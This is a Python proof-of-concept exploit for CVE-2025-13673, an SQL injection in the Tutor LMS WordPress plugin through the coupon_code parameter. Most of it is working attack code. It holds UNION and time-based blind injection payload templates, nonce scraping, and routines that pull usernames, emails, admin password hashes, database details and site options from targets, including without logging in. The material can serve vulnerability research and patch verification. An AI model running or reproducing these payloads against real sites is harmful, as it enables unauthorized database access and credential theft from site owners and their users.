#!/usr/bin/env python3 """ CVE-2025-13673 — Tutor LMS <= 3.9.6 Unauthenticated SQL Injection via coupon_code Vulnerability: SQL Injection in QueryHelper.prepare_where_clause() Affected: Tutor LMS plugin for WordPress, all versions <= 3.9.6 Fixed: 3.9.7 (added $wpdb->prepare() in QueryHelper) CVSS: 7.5 (High) / 9.3 (Patchstack) CWE: CWE-89 Root cause: QueryHelper builds WHERE clauses using manual string concatenation ("'" . $val . "'") with no escaping. In versions <= 3.9.3, the coupon_code reaches this path completely unescaped. Versions 3.9.4-3.9.6 added esc_sql() as a partial mitigation at the CouponModel layer, but the underlying QueryHelper remains unsafe for other parameters and models. Version matrix: <= 3.9.3: No esc_sql() — trivially exploitable (UNION + blind) 3.9.4-3.9.6: esc_sql() partial fix — blocks quote breakout, upgrade advised 3.9.7+: QueryHelper uses $wpdb->prepare() — properly fixed Two attack vectors (on <= 3.9.3): 1. UNAUTHENTICATED: tutor_action=tutor_pay_now via WordPress init hook. The nonce is available to anonymous visitors on any frontend page. Data extraction via time-based blind SQLi (SLEEP). 2. AUTHENTICATED (subscriber+): wp_ajax_tutor_apply_coupon AJAX handler. Returns JSON with injected data — fast UNION-based extraction. Self-registration is typically enabled on LMS sites. For authorized security testing and educational purposes only. """ import argparse import re import sys import json import time import requests UNION_TEMPLATE = ( "' UNION SELECT 1,'active','code'," "{col1}," "{col2}," "'desc','percentage',10.00,'all_courses_and_bundles'," "100,5,'no_minimum',0.00," "'2025-01-01 00:00:00','2030-12-31 23:59:59'," "'2025-01-01 00:00:00',1,'2025-01-01 00:00:00',1" "{from_clause}#" ) SLEEP_TEMPLATE = ( "' UNION SELECT SLEEP({delay}),'active','code'," "'t','t'," "'desc','percentage',10.00,'all_courses_and_bundles'," "100,5,'no_minimum',0.00," "'2025-01-01 00:00:00','2030-12-31 23:59:59'," "'2025-01-01 00:00:00',1,'2025-01-01 00:00:00',1" "{from_clause}#" ) BLIND_TEMPLATE = ( "' UNION SELECT IF({condition},SLEEP({delay}),0),'active','code'," "'t','t'," "'desc','percentage',10.00,'all_courses_and_bundles'," "100,5,'no_minimum',0.00," "'2025-01-01 00:00:00','2030-12-31 23:59:59'," "'2025-01-01 00:00:00',1,'2025-01-01 00:00:00',1" "{from_clause}#" ) # ── Fingerprinting ────────────────────────────────────────────────── def detect_version(session, base_url): """Detect Tutor LMS version from the public readme.txt.""" try: resp = session.get( f"{base_url}/wp-content/plugins/tutor/readme.txt", timeout=10 ) if resp.status_code == 200: match = re.search(r"Stable tag:\s*(\S+)", resp.text) if match: return match.group(1) except requests.RequestException: pass return None def version_tuple(v): """Convert '3.9.5' to (3, 9, 5) for comparison.""" try: return tuple(int(x) for x in v.split(".")) except (ValueError, AttributeError): return None def assess_version(version_str): """Return (exploitable, mitigation_note) based on detected version.""" vt = version_tuple(version_str) if vt is None: return None, "unknown version" if vt >= (3, 9, 7): return False, "3.9.7+ — QueryHelper uses $wpdb->prepare(). Fixed." if vt >= (3, 9, 4): return "partial", ( f"{version_str} — esc_sql() partial mitigation present at CouponModel layer. " "Quote breakout blocked. Underlying QueryHelper still uses raw concatenation. " "Upgrade to 3.9.7+ recommended." ) return True, f"{version_str} — no esc_sql(). Directly exploitable." # ── Session helpers ───────────────────────────────────────────────── def get_nonce(session, base_url): """Extract _tutor_nonce from any frontend page.""" for path in ["/", "/courses/"]: try: page = session.get(f"{base_url}{path}", timeout=10).text match = re.search(r'"_tutor_nonce":"([^"]+)"', page) if match: return match.group(1) except requests.RequestException: continue print("[-] Could not find _tutor_nonce — is Tutor LMS active?") sys.exit(1) def get_anon_session(base_url): """Create an anonymous (unauthenticated) session with nonce.""" s = requests.Session() nonce = get_nonce(s, base_url) print(f"[+] Anonymous session, nonce: {nonce}") return s, nonce def get_auth_session(base_url, username, password): """Login and return session with cookies + nonce.""" s = requests.Session() s.cookies.set("wordpress_test_cookie", "WP+Cookie+check") login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/", "testcookie": "1", } resp = s.post(f"{base_url}/wp-login.php", data=login_data, allow_redirects=False) if resp.status_code not in (302, 200): print(f"[-] Login failed: HTTP {resp.status_code}") sys.exit(1) nonce = get_nonce(s, base_url) print(f"[+] Logged in as {username}, nonce: {nonce}") return s, nonce # ── Authenticated mode: UNION-based (fast) ────────────────────────── def inject_union(session, base_url, nonce, col1, col2, from_clause="", course_id="1"): """Send UNION-based injection via AJAX and parse JSON response.""" payload = UNION_TEMPLATE.format(col1=col1, col2=col2, from_clause=from_clause) data = { "action": "tutor_apply_coupon", "_tutor_nonce": nonce, "object_ids": course_id, "coupon_code": payload, } resp = session.post(f"{base_url}/wp-admin/admin-ajax.php", data=data) text = resp.text if "
" in text: text = text.split("
", 1)[-1] if "" in text else text try: result = json.loads(text) except json.JSONDecodeError: return None, None if result.get("status_code") != 200: return None, None d = result.get("data", {}) return d.get("coupon_code", ""), d.get("coupon_title", "") def find_course_id(session, base_url, nonce): for cid in range(1, 30): v1, _ = inject_union(session, base_url, nonce, "'test'", "'test'", course_id=str(cid)) if v1 is not None: return str(cid) return None # ── Unauthenticated mode: time-based blind ────────────────────────── def inject_sleep(session, base_url, nonce, delay, course_id="1"): """Send a plain SLEEP probe via the tutor_action dispatcher. Returns the elapsed time.""" payload = SLEEP_TEMPLATE.format(delay=delay, from_clause="") data = { "tutor_action": "tutor_pay_now", "_tutor_nonce": nonce, "object_ids": course_id, "payment_method": "free", "payment_type": "manual", "order_type": "single_order", "coupon_code": payload, } start = time.time() session.post(f"{base_url}/", data=data, allow_redirects=False) return time.time() - start def inject_timed(session, base_url, nonce, condition, from_clause="", delay=2, threshold=1.5, course_id="1"): """Send time-based blind injection via tutor_action dispatcher. Returns True if the condition was true (response delayed).""" payload = BLIND_TEMPLATE.format( condition=condition, delay=delay, from_clause=from_clause, ) data = { "tutor_action": "tutor_pay_now", "_tutor_nonce": nonce, "object_ids": course_id, "payment_method": "free", "payment_type": "manual", "order_type": "single_order", "coupon_code": payload, } start = time.time() session.post(f"{base_url}/", data=data, allow_redirects=False) elapsed = time.time() - start return elapsed >= threshold def blind_extract_char(session, base_url, nonce, expr, pos, from_clause="", delay=2, course_id="1"): """Extract one character at position `pos` from `expr` via binary search.""" lo, hi = 32, 126 while lo < hi: mid = (lo + hi) // 2 cond = f"ORD(SUBSTRING(({expr}),{pos},1))>{mid}" if inject_timed(session, base_url, nonce, cond, from_clause, delay=delay, course_id=course_id): lo = mid + 1 else: hi = mid if lo == 32: return None return chr(lo) def blind_extract_string(session, base_url, nonce, expr, from_clause="", max_len=80, delay=2, course_id="1"): """Extract a full string character by character.""" result = [] for pos in range(1, max_len + 1): ch = blind_extract_char(session, base_url, nonce, expr, pos, from_clause, delay, course_id) if ch is None: break result.append(ch) sys.stdout.write(ch) sys.stdout.flush() sys.stdout.write("\n") return "".join(result) # ── Extraction modules ────────────────────────────────────────────── def extract_credentials_union(session, base_url, nonce, course_id): print("\n[*] Extracting user credentials (UNION mode)...") count_val, _ = inject_union(session, base_url, nonce, "CAST(COUNT(*) AS CHAR)", "'c'", " FROM wp_users", course_id) total = int(count_val) if count_val else 10 print(f"[+] Found {total} user(s)") for uid in range(1, total + 5): v1, v2 = inject_union(session, base_url, nonce, "CONCAT(user_login,0x3a,user_email)", "user_pass", f" FROM wp_users WHERE ID={uid}", course_id) if v1 is None: continue parts = v1.split(":", 1) print(f" [ID={uid}] {parts[0]} | {parts[1] if len(parts)>1 else '?'} | {v2}") if uid >= total + 4: break def extract_credentials_blind(session, base_url, nonce, course_id, delay): print("\n[*] Extracting admin credentials (blind mode — slow)...") print(" [*] admin username: ", end="", flush=True) blind_extract_string(session, base_url, nonce, "SELECT user_login FROM wp_users WHERE ID=1", "", max_len=40, delay=delay, course_id=course_id) print(" [*] admin email: ", end="", flush=True) blind_extract_string(session, base_url, nonce, "SELECT user_email FROM wp_users WHERE ID=1", "", max_len=60, delay=delay, course_id=course_id) print(" [*] admin pass hash: ", end="", flush=True) blind_extract_string(session, base_url, nonce, "SELECT user_pass FROM wp_users WHERE ID=1", "", max_len=40, delay=delay, course_id=course_id) def extract_db_info_union(session, base_url, nonce, course_id): print("\n[*] Extracting database information...") v1, v2 = inject_union(session, base_url, nonce, "version()", "user()", course_id=course_id) if v1: print(f" MySQL version: {v1}") print(f" DB user: {v2}") v1, v2 = inject_union(session, base_url, nonce, "@@hostname", "database()", course_id=course_id) if v1: print(f" Hostname: {v1}") print(f" Database: {v2}") def extract_db_info_blind(session, base_url, nonce, course_id, delay): print("\n[*] Extracting database info (blind)...") print(" [*] version: ", end="", flush=True) blind_extract_string(session, base_url, nonce, "SELECT version()", "", max_len=30, delay=delay, course_id=course_id) print(" [*] database: ", end="", flush=True) blind_extract_string(session, base_url, nonce, "SELECT database()", "", max_len=30, delay=delay, course_id=course_id) def extract_options_union(session, base_url, nonce, course_id): print("\n[*] Extracting WordPress options...") for key in ["siteurl", "blogname", "admin_email", "template", "active_plugins", "db_version"]: hex_key = "0x" + key.encode().hex() v1, _ = inject_union(session, base_url, nonce, "option_value", "option_name", f" FROM wp_options WHERE option_name={hex_key}", course_id) if v1: print(f" {key}: {v1[:80]}{'...' if len(v1)>80 else ''}") # ── Main ──────────────────────────────────────────────────────────── def main(): parser = argparse.ArgumentParser( description="CVE-2025-13673 Tutor LMS SQL Injection PoC", formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Modes: Default (no -u/-p): Unauthenticated time-based blind SQLi With -u/-p: Authenticated UNION-based (fast, full extraction) Examples: %(prog)s http://target.com # unauth blind %(prog)s http://target.com -u student -p pass --all # auth UNION %(prog)s http://target.com --check-only # version check only """, ) parser.add_argument("url", help="WordPress base URL") parser.add_argument("-u", "--username", default=None, help="WP username (enables UNION mode)") parser.add_argument("-p", "--password", default=None, help="WP password") parser.add_argument("--course-id", default=None, help="Course ID (auto-detected)") parser.add_argument("--dump-users", action="store_true", help="Extract user credentials") parser.add_argument("--db-info", action="store_true", help="Extract DB metadata") parser.add_argument("--options", action="store_true", help="Extract wp_options") parser.add_argument("--all", action="store_true", help="Run all modules") parser.add_argument("--delay", type=float, default=2, help="SLEEP delay for blind mode (default: 2)") parser.add_argument("--check-only", action="store_true", help="Fingerprint version and assess exploitability, no exploitation") args = parser.parse_args() base_url = args.url.rstrip("/") authenticated = args.username is not None print("[*] CVE-2025-13673 — Tutor LMS SQL Injection PoC") print(f"[*] Target: {base_url}") # ── Version fingerprinting ── session = requests.Session() version = detect_version(session, base_url) if version: exploitable, note = assess_version(version) print(f"[*] Detected Tutor LMS version: {version}") if exploitable is False: print(f"[+] NOT VULNERABLE: {note}") sys.exit(0) elif exploitable == "partial": print(f"[!] PARTIALLY MITIGATED: {note}") if args.check_only: print("") print(" Detail: esc_sql() escapes single quotes (\\'), preventing") print(" the UNION/SLEEP payloads from breaking out of the SQL string.") print(" The underlying QueryHelper still builds queries with raw") print(" concatenation (\"'\" . $val . \"'\"), which is the root cause.") print("") print(" Exploitation requires <= 3.9.3 (no esc_sql).") print(" However, the code remains fragile — upgrade to 3.9.7+.") sys.exit(0) print("[*] Proceeding with exploitation attempt anyway...") else: print(f"[+] VULNERABLE: {note}") else: print("[*] Could not detect version (readme.txt not accessible)") if args.check_only: print("[*] --check-only: skipping exploitation.") sys.exit(0) # ── Session setup ── print(f"[*] Mode: {'UNION (authenticated)' if authenticated else 'Blind (unauthenticated)'}") if authenticated: session, nonce = get_auth_session(base_url, args.username, args.password) else: session, nonce = get_anon_session(base_url) course_id = args.course_id or "1" # ── Verify injection ── if authenticated: if not args.course_id: print("[*] Auto-detecting course ID...") course_id = find_course_id(session, base_url, nonce) if not course_id: print("[-] No valid course found — specify --course-id") sys.exit(1) print(f"[+] Using course ID: {course_id}") v1, _ = inject_union(session, base_url, nonce, "'SQLi-OK'", "'test'", course_id=course_id) if v1 == "SQLi-OK": print("[+] SQL injection confirmed!") else: if version and version_tuple(version) and version_tuple(version) >= (3, 9, 4): print(f"[-] Injection blocked — esc_sql() mitigation is active on {version}") print(" The underlying QueryHelper vulnerability exists but the") print(" esc_sql() wrapper prevents quote breakout on this version.") print(" Exploitable on <= 3.9.3. Upgrade to 3.9.7+ to fix properly.") else: print("[-] Injection failed — target may be patched or coupon feature disabled") sys.exit(1) else: print(f"[*] Verifying injection with SLEEP({args.delay})...") elapsed = inject_sleep(session, base_url, nonce, args.delay, course_id) if elapsed >= args.delay * 0.7: print(f"[+] SQL injection confirmed! (response: {elapsed:.1f}s vs expected {args.delay}s)") else: if version and version_tuple(version) and version_tuple(version) >= (3, 9, 4): print(f"[-] No delay ({elapsed:.1f}s) — esc_sql() mitigation active on {version}") print(" esc_sql() escapes quotes, preventing UNION/SLEEP breakout.") print(" Exploitable on <= 3.9.3. Upgrade to 3.9.7+ to fix properly.") else: print(f"[-] No delay detected ({elapsed:.1f}s) — target may be patched") sys.exit(1) # ── Extract data ── run_all = not any([args.dump_users, args.db_info, args.options]) if authenticated: if args.all or run_all or args.dump_users: extract_credentials_union(session, base_url, nonce, course_id) if args.all or run_all or args.db_info: extract_db_info_union(session, base_url, nonce, course_id) if args.all or args.options: extract_options_union(session, base_url, nonce, course_id) else: if args.all or run_all or args.dump_users: extract_credentials_blind(session, base_url, nonce, course_id, args.delay) if args.all or run_all or args.db_info: extract_db_info_blind(session, base_url, nonce, course_id, args.delay) print("\n[+] Done.") if __name__ == "__main__": main()